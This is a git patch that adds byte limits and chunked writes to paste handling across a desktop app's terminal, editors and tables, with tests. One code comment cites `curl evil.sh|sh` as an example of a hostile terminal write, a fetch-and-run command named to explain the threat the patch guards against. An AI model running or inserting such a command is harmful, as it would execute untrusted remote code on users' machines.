From bc9b74e3dca94e81c9fc2fa865559ec5e745571f Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 26 Aug 2026 19:35:37 -0700 Subject: [PATCH 1/4] fix(ui): optimize universal paste handling --- apps/desktop/src/main/ipc.test.ts | 23 ++ apps/desktop/src/main/ipc.ts | 26 +- apps/desktop/src/preload/index.ts | 2 +- .../app/_shell/paste-admission-guard.test.tsx | 93 ++++++++ apps/sim/app/_shell/paste-admission-guard.tsx | 115 +++++++++ .../credential-groups/enroll/[token]/page.tsx | 14 +- apps/sim/app/layout.tsx | 27 ++- apps/sim/app/playground/page.tsx | 5 +- .../rich-markdown-editor/editor-extensions.ts | 7 + .../paste-admission.test.ts | 91 +++++++ .../rich-markdown-editor/paste-admission.ts | 56 +++++ .../rich-markdown-editor.tsx | 23 +- .../rich-markdown-field.tsx | 23 +- .../components/file-viewer/text-editor.tsx | 40 +++- .../terminal-session/terminal-session.tsx | 11 +- .../prompt-editor/prompt-editor.tsx | 27 ++- .../prompt-editor/use-prompt-editor.ts | 29 ++- .../home/components/user-input/user-input.tsx | 33 ++- .../app/workspace/[workspaceId]/layout.tsx | 37 ++- .../secrets-manager/secrets-manager.tsx | 18 ++ .../components/table-grid/table-grid.tsx | 39 ++- .../components/table-grid/table-paste.test.ts | 32 +++ .../components/table-grid/table-paste.ts | 67 ++++++ .../settings/standalone-settings-shell.tsx | 41 ++-- apps/sim/lib/terminal/transport.ts | 3 +- packages/desktop-bridge/contract-snapshot.ts | 5 +- packages/desktop-bridge/src/index.ts | 5 +- .../chip-emails-input.test.tsx | 36 +++ .../chip-emails-input/chip-emails-input.tsx | 62 +++-- .../components/tag-input/tag-input.test.tsx | 40 ++++ .../src/components/tag-input/tag-input.tsx | 24 +- packages/utils/package.json | 4 + packages/utils/src/index.ts | 11 + packages/utils/src/paste.test.ts | 82 +++++++ packages/utils/src/paste.ts | 225 ++++++++++++++++++ 35 files changed, 1247 insertions(+), 129 deletions(-) create mode 100644 apps/sim/app/_shell/paste-admission-guard.test.tsx create mode 100644 apps/sim/app/_shell/paste-admission-guard.tsx create mode 100644 apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.test.ts create mode 100644 apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.ts create mode 100644 apps/sim/app/workspace/[workspaceId]/tables/[tableId]/components/table-grid/table-paste.test.ts create mode 100644 apps/sim/app/workspace/[workspaceId]/tables/[tableId]/components/table-grid/table-paste.ts create mode 100644 packages/emcn/src/components/chip-emails-input/chip-emails-input.test.tsx create mode 100644 packages/emcn/src/components/tag-input/tag-input.test.tsx create mode 100644 packages/utils/src/paste.test.ts create mode 100644 packages/utils/src/paste.ts diff --git a/apps/desktop/src/main/ipc.test.ts b/apps/desktop/src/main/ipc.test.ts index 11e942df59f..72081c3e956 100644 --- a/apps/desktop/src/main/ipc.test.ts +++ b/apps/desktop/src/main/ipc.test.ts @@ -1,5 +1,6 @@ import { readFileSync } from 'node:fs' import { fileURLToPath } from 'node:url' +import { PASTE_LIMITS } from '@sim/utils/paste' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) @@ -1695,6 +1696,28 @@ describe('registerIpcHandlers', () => { expect(write).not.toHaveBeenCalled() }) + it('rejects an oversized terminal paste before writing to the PTY', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1)) + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe( + 'too-large' + ) + expect(write).not.toHaveBeenCalled() + }) + + it('writes an admitted terminal paste in bounded chunks', async () => { + const { invoke } = collectHandlers() + const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) + const text = 'x'.repeat(70 * 1024) + vi.mocked(clipboard.readText).mockReturnValue(text) + + await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true) + expect(write).toHaveBeenCalledTimes(2) + expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text) + }) + it('gates a command smuggled inside a fake OSC or DCS reply', () => { const { on } = collectHandlers() const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {}) diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts index 363b4bb88fc..5f5d3f610fb 100644 --- a/apps/desktop/src/main/ipc.ts +++ b/apps/desktop/src/main/ipc.ts @@ -27,6 +27,7 @@ import { } from '@sim/terminal-protocol' import { getErrorMessage } from '@sim/utils/errors' import { isRecordLike } from '@sim/utils/object' +import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste' import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron' import { clipboard, ipcMain, shell } from 'electron' import { @@ -90,6 +91,23 @@ const logger = createLogger('DesktopIpc') /** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */ const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/ +const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024 + +function writeTerminalText( + terminal: TerminalRegistry, + scope: string, + terminalId: string, + text: string +): void { + let start = 0 + while (start < text.length) { + let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length) + const finalCode = text.charCodeAt(end - 1) + if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1 + terminal.write(scope, terminalId, text.slice(start, end)) + start = end + } +} const MICROPHONE_SETTINGS_URLS: Partial> = { darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone', @@ -1546,7 +1564,10 @@ export function registerIpcHandlers(deps: IpcDeps): void { if (!scope || typeof terminalId !== 'string') return false const text = clipboard.readText() if (!text) return false - deps.terminal.write(scope, terminalId, text) + if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) { + return 'too-large' + } + writeTerminalText(deps.terminal, scope, terminalId, text) return true }, }, @@ -1735,7 +1756,8 @@ export function registerIpcHandlers(deps: IpcDeps): void { handler: (sender, terminalId, data, rawScope) => { const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope) if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return - deps.terminal.write(scope, terminalId, data) + if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return + writeTerminalText(deps.terminal, scope, terminalId, data) }, // An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`. // Panel focus is deliberately not used โ€” `terminal:focused` is a diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts index d19949e7516..4e294b4af47 100644 --- a/apps/desktop/src/preload/index.ts +++ b/apps/desktop/src/preload/index.ts @@ -456,7 +456,7 @@ const api: SimDesktopApi = { write: (terminalId: string, data: string, scopeId: string): void => { ipcRenderer.send('terminal:write', terminalId, data, scopeId) }, - paste: (terminalId: string, scopeId: string): Promise => + paste: (terminalId: string, scopeId: string) => ipcRenderer.invoke('terminal:paste', terminalId, scopeId), resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => { ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId) diff --git a/apps/sim/app/_shell/paste-admission-guard.test.tsx b/apps/sim/app/_shell/paste-admission-guard.test.tsx new file mode 100644 index 00000000000..b862269d2d8 --- /dev/null +++ b/apps/sim/app/_shell/paste-admission-guard.test.tsx @@ -0,0 +1,93 @@ +/** + * @vitest-environment jsdom + */ +import { act } from 'react' +import { createRoot, type Root } from 'react-dom/client' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' + +const { warning } = vi.hoisted(() => ({ warning: vi.fn() })) + +vi.mock('@sim/emcn', () => ({ + useToast: () => ({ toast: { warning } }), +})) + +import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard' + +let host: HTMLDivElement +let root: Root + +function dispatchPaste(target: Element, text: string): Event { + const event = new Event('paste', { bubbles: true, cancelable: true, composed: true }) + Object.defineProperty(event, 'clipboardData', { + value: { getData: (type: string) => (type === 'text/plain' ? text : '') }, + }) + target.dispatchEvent(event) + return event +} + +beforeEach(() => { + host = document.createElement('div') + document.body.appendChild(host) + root = createRoot(host) + act(() => root.render()) +}) + +afterEach(() => { + act(() => root.unmount()) + host.remove() + vi.clearAllMocks() +}) + +describe('PasteAdmissionGuard', () => { + it('rejects an oversized native paste before the target handler runs', () => { + const input = document.createElement('textarea') + input.dataset.pasteMaxBytes = '4' + host.appendChild(input) + const targetHandler = vi.fn() + input.addEventListener('paste', targetHandler) + + const event = dispatchPaste(input, '12345') + + expect(event.defaultPrevented).toBe(true) + expect(targetHandler).not.toHaveBeenCalled() + expect(warning).toHaveBeenCalledOnce() + }) + + it('uses projected native value size and accounts for the selection', () => { + const input = document.createElement('textarea') + input.dataset.pasteMaxBytes = '6' + input.value = '123456' + host.appendChild(input) + + input.setSelectionRange(1, 5) + expect(dispatchPaste(input, 'abcd').defaultPrevented).toBe(false) + + input.setSelectionRange(6, 6) + expect(dispatchPaste(input, 'a').defaultPrevented).toBe(true) + }) + + it('honors a surface-specific character contract', () => { + const input = document.createElement('textarea') + input.dataset.pasteMaxBytes = '100' + input.dataset.pasteMaxCharacters = '2' + host.appendChild(input) + + expect(dispatchPaste(input, '๐Ÿ’ก๐Ÿ’ก').defaultPrevented).toBe(true) + }) + + it('uses a contenteditable selection when projecting the result', () => { + const editable = document.createElement('div') + editable.contentEditable = 'true' + editable.dataset.pasteMaxBytes = '6' + editable.textContent = '123456' + host.appendChild(editable) + const range = document.createRange() + range.setStart(editable.firstChild as Text, 1) + range.setEnd(editable.firstChild as Text, 5) + const selection = document.getSelection() + selection?.removeAllRanges() + selection?.addRange(range) + + expect(dispatchPaste(editable, 'abcd').defaultPrevented).toBe(false) + }) +}) diff --git a/apps/sim/app/_shell/paste-admission-guard.tsx b/apps/sim/app/_shell/paste-admission-guard.tsx new file mode 100644 index 00000000000..ab3dd9a9771 --- /dev/null +++ b/apps/sim/app/_shell/paste-admission-guard.tsx @@ -0,0 +1,115 @@ +'use client' + +import { useEffect, useRef } from 'react' +import { useToast } from '@sim/emcn' +import { assessTextPaste, formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste' + +const EDITABLE_TARGET_SELECTOR = + 'input:not([type="file"]):not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="hidden"]), textarea, [contenteditable]:not([contenteditable="false"]), .monaco-editor, .xterm' + +function finitePositiveAttribute(element: Element | null, name: string): number | undefined { + const raw = element?.getAttribute(name) + if (!raw) return undefined + const value = Number(raw) + return Number.isFinite(value) && value > 0 ? value : undefined +} + +function contentEditableSelection(element: HTMLElement): { + currentText: string + selectionStart: number + selectionEnd: number +} { + const currentText = element.textContent ?? '' + const selection = document.getSelection() + if (!selection || selection.rangeCount === 0) { + return { currentText, selectionStart: currentText.length, selectionEnd: currentText.length } + } + + const range = selection.getRangeAt(0) + if (!element.contains(range.startContainer) || !element.contains(range.endContainer)) { + return { currentText, selectionStart: currentText.length, selectionEnd: currentText.length } + } + + const before = document.createRange() + before.selectNodeContents(element) + before.setEnd(range.startContainer, range.startOffset) + const selectionStart = before.toString().length + return { + currentText, + selectionStart, + selectionEnd: selectionStart + range.toString().length, + } +} + +/** + * Last-resort admission for every editable workspace surface. Specialized editors publish a larger + * or smaller payload ceiling on an ancestor with `data-paste-max-bytes`; controls without one inherit + * the Socket.IO-sized default. The capture listener runs before React, ProseMirror, Monaco, and xterm + * can parse or render the clipboard value. + */ +export function PasteAdmissionGuard() { + const { toast: notify } = useToast() + const notifyRef = useRef(notify) + notifyRef.current = notify + + useEffect(() => { + const handlePaste = (event: ClipboardEvent) => { + if (!(event.target instanceof Element) || !event.target.closest(EDITABLE_TARGET_SELECTOR)) { + return + } + + const text = event.clipboardData?.getData('text/plain') ?? '' + if (!text) return + + const policyElement = event.target.closest('[data-paste-max-bytes]') + const maxPastedBytes = + finitePositiveAttribute(policyElement, 'data-paste-max-bytes') ?? PASTE_LIMITS.DEFAULT_BYTES + const maxPastedCharacters = finitePositiveAttribute( + policyElement, + 'data-paste-max-characters' + ) + const nativeControl = + event.target instanceof HTMLInputElement || event.target instanceof HTMLTextAreaElement + const editableElement = event.target.closest( + '[contenteditable]:not([contenteditable="false"])' + ) + const projectedValue = nativeControl + ? { + currentText: event.target.value, + selectionStart: event.target.selectionStart ?? event.target.value.length, + selectionEnd: event.target.selectionEnd ?? event.target.value.length, + } + : editableElement + ? contentEditableSelection(editableElement) + : null + const admission = assessTextPaste({ + pastedText: text, + maxPastedBytes, + maxPastedCharacters, + ...(projectedValue + ? { + ...projectedValue, + maxResultBytes: maxPastedBytes, + maxResultCharacters: maxPastedCharacters, + } + : {}), + }) + if (admission.accepted) return + + event.preventDefault() + event.stopImmediatePropagation() + const limit = + admission.reason === 'pasted-characters' + ? `${admission.limit.toLocaleString()} characters` + : formatPasteLimit(admission.limit) + notifyRef.current.warning('Paste is too large for this editor', { + description: `The clipboard content was left unchanged. This editor supports up to ${limit}.`, + }) + } + + document.addEventListener('paste', handlePaste, true) + return () => document.removeEventListener('paste', handlePaste, true) + }, []) + + return null +} diff --git a/apps/sim/app/credential-groups/enroll/[token]/page.tsx b/apps/sim/app/credential-groups/enroll/[token]/page.tsx index 86f7699e9c7..fcafbdb8af5 100644 --- a/apps/sim/app/credential-groups/enroll/[token]/page.tsx +++ b/apps/sim/app/credential-groups/enroll/[token]/page.tsx @@ -1,5 +1,5 @@ import { type ReactNode, Suspense } from 'react' -import { Chip, ToastProvider } from '@sim/emcn' +import { Chip } from '@sim/emcn' import type { Metadata } from 'next' import { headers } from 'next/headers' import { asOrchestrationError } from '@/lib/core/orchestration/types' @@ -35,13 +35,11 @@ interface PageShellProps { function PageShell({ children }: PageShellProps) { return ( - - }> -
- {children} -
-
-
+ }> +
+ {children} +
+
) } diff --git a/apps/sim/app/layout.tsx b/apps/sim/app/layout.tsx index 81aed9feb9b..0bdb20393fa 100644 --- a/apps/sim/app/layout.tsx +++ b/apps/sim/app/layout.tsx @@ -1,8 +1,10 @@ +import { ToastProvider } from '@sim/emcn' import type { Metadata, Viewport } from 'next' import Script from 'next/script' import { PublicEnvScript as RuntimePublicEnvScript } from 'next-runtime-env' import { NuqsAdapter } from 'nuqs/adapters/next/app' import { BrandedLayout } from '@/components/branded-layout' +import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard' import { PostHogProvider } from '@/app/_shell/providers/posthog-provider' import { generateBrandedMetadata, generateThemeCSS } from '@/ee/whitelabeling' import '@/app/_styles/globals.css' @@ -36,17 +38,20 @@ export const metadata: Metadata = generateBrandedMetadata() export default function RootLayout({ children }: { children: React.ReactNode }) { const themeCSS = generateThemeCSS() const application = ( - - - - - - {children} - - - - - + + + + + + + + {children} + + + + + + ) return ( diff --git a/apps/sim/app/playground/page.tsx b/apps/sim/app/playground/page.tsx index ddee87cff6f..493ddeb8be3 100644 --- a/apps/sim/app/playground/page.tsx +++ b/apps/sim/app/playground/page.tsx @@ -74,7 +74,6 @@ import { type TagItem, Textarea, TimePicker, - ToastProvider, Tooltip, Trash, toast, @@ -163,7 +162,7 @@ export default function PlaygroundPage() { } return ( - + <>
@@ -1066,6 +1065,6 @@ export default function PlaygroundPage() {
-
+ ) } diff --git a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/editor-extensions.ts b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/editor-extensions.ts index 0e75964c427..ef9f7f6cf5d 100644 --- a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/editor-extensions.ts +++ b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/editor-extensions.ts @@ -20,6 +20,10 @@ import { RichMarkdownKeymap } from './keymap' import { MarkdownPaste } from './markdown-paste' import { Mention } from './mention/mention' import { MentionChip } from './mention/mention-chip' +import { + createRichMarkdownPasteAdmission, + type RichMarkdownPasteAdmissionOptions, +} from './paste-admission' import { FootnoteDefWithView, RawHtmlBlockWithView } from './raw-markdown-snippet' import { SlashCommand } from './slash-command/slash-command' @@ -37,6 +41,7 @@ interface MarkdownEditorExtensionOptions { embeds?: boolean /** When set, wires TipTap Collaboration + CollaborationCaret onto the shared document. */ collaboration?: EditorCollaboration + pasteAdmission?: RichMarkdownPasteAdmissionOptions } /** @@ -53,6 +58,7 @@ export function createMarkdownEditorExtensions({ placeholder, embeds = false, collaboration, + pasteAdmission, }: MarkdownEditorExtensionOptions): Extensions { return [ ...createMarkdownContentExtensions( @@ -92,6 +98,7 @@ export function createMarkdownEditorExtensions({ Mention, RichMarkdownKeymap, BlockMover, + ...(pasteAdmission ? [createRichMarkdownPasteAdmission(pasteAdmission)] : []), MarkdownPaste, Placeholder.configure({ placeholder }), ...(embeds ? [LinkEmbed] : []), diff --git a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.test.ts b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.test.ts new file mode 100644 index 00000000000..68c6875b12d --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.test.ts @@ -0,0 +1,91 @@ +/** + * @vitest-environment jsdom + */ +import { Editor } from '@tiptap/core' +import { TextSelection } from '@tiptap/pm/state' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { createMarkdownContentExtensions } from './extensions' +import { createRichMarkdownPasteAdmission } from './paste-admission' + +let editor: Editor | null = null + +afterEach(() => { + editor?.destroy() + editor = null +}) + +function runPaste(ed: Editor, text: string): { handled: boolean; prevented: boolean } { + let prevented = false + const event = { + clipboardData: { getData: (type: string) => (type === 'text/plain' ? text : '') }, + preventDefault: () => { + prevented = true + }, + } as unknown as ClipboardEvent + + for (const plugin of ed.view.state.plugins) { + const handler = plugin.props.handleDOMEvents?.paste + if (handler?.(ed.view, event)) return { handled: true, prevented } + } + return { handled: false, prevented } +} + +describe('rich Markdown paste admission', () => { + it('rejects before downstream paste parsing when projected bytes exceed the document limit', () => { + const onRejected = vi.fn() + editor = new Editor({ + extensions: [ + ...createMarkdownContentExtensions(), + createRichMarkdownPasteAdmission({ + maxResultBytes: 10, + getCurrentText: () => '123456', + onRejected, + }), + ], + content: '

123456

', + }) + + expect(runPaste(editor, 'abcde')).toEqual({ handled: true, prevented: true }) + expect(onRejected).toHaveBeenCalledOnce() + }) + + it('allows replacing a selection without treating the paste as an append', () => { + editor = new Editor({ + extensions: [ + ...createMarkdownContentExtensions(), + createRichMarkdownPasteAdmission({ + maxResultBytes: 10, + getCurrentText: () => '123456', + onRejected: vi.fn(), + }), + ], + content: '

123456

', + }) + editor.view.dispatch( + editor.view.state.tr.setSelection(TextSelection.create(editor.view.state.doc, 1, 7)) + ) + + expect(runPaste(editor, '1234567890')).toEqual({ handled: false, prevented: false }) + }) + + it('allows replacing an entire formatted document up to the limit', () => { + editor = new Editor({ + extensions: [ + ...createMarkdownContentExtensions(), + createRichMarkdownPasteAdmission({ + maxResultBytes: 10, + getCurrentText: () => '**123456**', + onRejected: vi.fn(), + }), + ], + content: '

123456

', + }) + editor.view.dispatch( + editor.view.state.tr.setSelection( + TextSelection.create(editor.view.state.doc, 1, editor.view.state.doc.content.size - 1) + ) + ) + + expect(runPaste(editor, '1234567890')).toEqual({ handled: false, prevented: false }) + }) +}) diff --git a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.ts b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.ts new file mode 100644 index 00000000000..95383512764 --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/paste-admission.ts @@ -0,0 +1,56 @@ +import { utf8ByteLength } from '@sim/utils/paste' +import { Extension } from '@tiptap/core' +import { Plugin } from '@tiptap/pm/state' + +export interface RichMarkdownPasteAdmissionOptions { + maxResultBytes: number + getCurrentText: () => string + onRejected: () => void +} + +/** + * Rejects a paste before Markdown parsing when its projected document would leave the editor's + * supported collaboration envelope. The selected ProseMirror text is subtracted from the current + * Markdown size, so replacing a large selection is admitted instead of being treated as an append. + */ +export function createRichMarkdownPasteAdmission({ + maxResultBytes, + getCurrentText, + onRejected, +}: RichMarkdownPasteAdmissionOptions): Extension { + return Extension.create({ + name: 'richMarkdownPasteAdmission', + priority: 1_000, + + addProseMirrorPlugins() { + return [ + new Plugin({ + props: { + handleDOMEvents: { + paste: (view, event) => { + const pastedText = event.clipboardData?.getData('text/plain') ?? '' + if (!pastedText) return false + + const currentText = getCurrentText() + const { from, to } = view.state.selection + const replacedText = view.state.doc.textBetween(from, to, '\n') + const currentBytes = utf8ByteLength(currentText, maxResultBytes) + const pastedBytes = utf8ByteLength(pastedText, maxResultBytes) + const replacesWholeDocument = from <= 1 && to >= view.state.doc.content.size - 1 + const replacedBytes = replacesWholeDocument + ? currentBytes + : utf8ByteLength(replacedText, maxResultBytes) + const projectedBytes = Math.max(0, currentBytes - replacedBytes) + pastedBytes + if (projectedBytes <= maxResultBytes) return false + + event.preventDefault() + onRejected() + return true + }, + }, + }, + }), + ] + }, + }) +} diff --git a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-editor.tsx b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-editor.tsx index 92e05442fac..0fb024f79e4 100644 --- a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-editor.tsx +++ b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-editor.tsx @@ -3,6 +3,7 @@ import { memo, useCallback, useEffect, useRef, useState } from 'react' import { cn, toast } from '@sim/emcn' import { FILE_DOC_SEED, type JoinFileDocError } from '@sim/realtime-protocol/file-doc' +import { formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste' import type { Extensions, JSONContent } from '@tiptap/core' import { isChangeOrigin } from '@tiptap/extension-collaboration' import type { Editor } from '@tiptap/react' @@ -73,6 +74,12 @@ const STREAM_REPARSE_THROTTLE_MS = 120 /** Debounce before naming a still-untitled file after its leading heading, so it fires once typing settles. */ const DERIVE_TITLE_DEBOUNCE_MS = 600 +function warnRichMarkdownPasteLimit() { + toast.warning('Paste is too large for rich-text editing', { + description: `Keep this document under ${formatPasteLimit(PASTE_LIMITS.RICH_MARKDOWN_BYTES)}, or import the content as a file and open it read-only.`, + }) +} + /** * The editor's reading column โ€” the centered, padded surface both the live editor and the read-only * {@link ReadOnlyPlaceholder} render into, so the two are geometrically identical and the placeholder โ†’ @@ -519,8 +526,21 @@ export function LoadedRichMarkdownEditor({ awareness: collaboration.awareness, user: collaboration.user, }, + pasteAdmission: { + maxResultBytes: PASTE_LIMITS.RICH_MARKDOWN_BYTES, + getCurrentText: () => lastSyncedBodyRef.current ?? '', + onRejected: warnRichMarkdownPasteLimit, + }, + }) + : createMarkdownEditorExtensions({ + placeholder: PLACEHOLDER, + embeds: true, + pasteAdmission: { + maxResultBytes: PASTE_LIMITS.RICH_MARKDOWN_BYTES, + getCurrentText: () => lastSyncedBodyRef.current ?? '', + onRejected: warnRichMarkdownPasteLimit, + }, }) - : EXTENSIONS ) const editor = useEditor({ @@ -535,6 +555,7 @@ export function LoadedRichMarkdownEditor({ attributes: { class: 'rich-markdown-nodes rich-markdown-prose', 'data-owned-shortcuts': 'Mod+K', + 'data-paste-max-bytes': String(PASTE_LIMITS.RICH_MARKDOWN_BYTES), }, handleKeyDown: (_view, event) => { const isSaveShortcut = (event.metaKey || event.ctrlKey) && event.key?.toLowerCase() === 's' diff --git a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-field.tsx b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-field.tsx index 559afc129ce..595c8f4b3f0 100644 --- a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-field.tsx +++ b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/rich-markdown-editor/rich-markdown-field.tsx @@ -1,7 +1,8 @@ 'use client' import { useEffect, useLayoutEffect, useRef, useState } from 'react' -import { ChipTextarea, chipFieldSurfaceClass, cn } from '@sim/emcn' +import { ChipTextarea, chipFieldSurfaceClass, cn, toast } from '@sim/emcn' +import { formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste' import type { JSONContent } from '@tiptap/core' import { EditorContent, useEditor } from '@tiptap/react' import { createMarkdownEditorExtensions } from './editor-extensions' @@ -33,6 +34,12 @@ import './rich-markdown-editor.css' */ const BODY_PORTAL: React.RefObject = { current: null } +function warnRichMarkdownPasteLimit() { + toast.warning('Paste is too large for rich-text editing', { + description: `Keep this document under ${formatPasteLimit(PASTE_LIMITS.RICH_MARKDOWN_BYTES)}, or import the content as a file.`, + }) +} + interface RichMarkdownFieldProps { /** Current markdown value. Seeds the editor once on mount; external changes only apply while {@link isStreaming}. */ value: string @@ -203,7 +210,16 @@ function LoadedRichMarkdownField({ const [canonicalSeed] = useState(() => normalizeMarkdownContent(value)) /** TipTap extensions are stateful โ€” build them once per mount so each field gets its own placeholder. */ - const [extensions] = useState(() => createMarkdownEditorExtensions({ placeholder })) + const [extensions] = useState(() => + createMarkdownEditorExtensions({ + placeholder, + pasteAdmission: { + maxResultBytes: PASTE_LIMITS.RICH_MARKDOWN_BYTES, + getCurrentText: () => lastSyncedBodyRef.current, + onRejected: warnRichMarkdownPasteLimit, + }, + }) + ) const [initialContent] = useState(() => parseMarkdownToDoc(initialSplit.body)) const editor = useEditor({ @@ -231,6 +247,7 @@ function LoadedRichMarkdownField({ ), // Claim โŒ˜K so the bubble-menu link editor wins over the global search palette. 'data-owned-shortcuts': 'Mod+K', + 'data-paste-max-bytes': String(PASTE_LIMITS.RICH_MARKDOWN_BYTES), }, handlePaste: (view, event) => { const images = uploadImageRef.current ? extractImageFiles(event.clipboardData) : [] @@ -472,6 +489,7 @@ function RawMarkdownField({ value={value} onChange={(event) => onChange(event.target.value)} onPaste={handlePaste} + data-paste-max-bytes={PASTE_LIMITS.RICH_MARKDOWN_BYTES} placeholder={placeholder} readOnly={isStreaming || lockedView} tabIndex={lockedView ? -1 : undefined} @@ -493,6 +511,7 @@ function RawMarkdownField({ value={value} onChange={(event) => onChange(event.target.value)} onPaste={handlePaste} + data-paste-max-bytes={PASTE_LIMITS.RICH_MARKDOWN_BYTES} placeholder={placeholder} error={error} viewOnly={lockedView} diff --git a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/text-editor.tsx b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/text-editor.tsx index 4405280ff5b..393c402c86f 100644 --- a/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/text-editor.tsx +++ b/apps/sim/app/workspace/[workspaceId]/files/components/file-viewer/text-editor.tsx @@ -1,8 +1,16 @@ 'use client' -import { memo, useCallback, useEffect, useRef, useState } from 'react' +import { + memo, + type ClipboardEvent as ReactClipboardEvent, + useCallback, + useEffect, + useRef, + useState, +} from 'react' import type { OnMount } from '@monaco-editor/react' -import { cn } from '@sim/emcn' +import { cn, toast } from '@sim/emcn' +import { assessTextPaste, formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste' import type { editor as MonacoEditorTypes } from 'monaco-editor' import dynamic from 'next/dynamic' import { @@ -583,6 +591,30 @@ export const TextEditor = memo(function TextEditor({ [setDraftContent] ) + const handleEditorPasteCapture = (event: ReactClipboardEvent) => { + const pastedText = event.clipboardData.getData('text/plain') + const editor = monacoEditorRef.current + const model = editor?.getModel() + const selection = editor?.getSelection() + if (!pastedText || !model || !selection) return + + const admission = assessTextPaste({ + pastedText, + maxPastedBytes: PASTE_LIMITS.TEXT_EDITOR_BYTES, + currentText: model.getValue(), + selectionStart: model.getOffsetAt(selection.getStartPosition()), + selectionEnd: model.getOffsetAt(selection.getEndPosition()), + maxResultBytes: PASTE_LIMITS.TEXT_EDITOR_BYTES, + }) + if (admission.accepted) return + + event.preventDefault() + event.stopPropagation() + toast.warning('Paste would make this file too large to edit', { + description: `Inline editing supports files up to ${formatPasteLimit(PASTE_LIMITS.TEXT_EDITOR_BYTES)}. Import or replace the file to keep larger content available without loading it into the editor.`, + }) + } + const isStreaming = isStreamInteractionLocked const isEditorReadOnly = isStreamInteractionLocked || !canEdit @@ -634,6 +666,8 @@ export const TextEditor = memo(function TextEditor({ {showEditor && (
{ void (async () => { - if (await pasteIntoTerminal(terminalId, scopeId)) { + const result = await pasteIntoTerminal(terminalId, scopeId) + if (result === true) { terminalRef.current?.focus() return } + if (result === 'too-large') { + toast.warning('Paste is too large for the terminal', { + description: `Paste up to ${formatPasteLimit(PASTE_LIMITS.TERMINAL_BYTES)} at once, or send the content through a file.`, + }) + return + } toast.error('Could not paste from the clipboard. Press โŒ˜V to paste.') })() }, [terminalId, scopeId]) @@ -711,6 +719,7 @@ const TerminalView = memo(function TerminalView({ <>
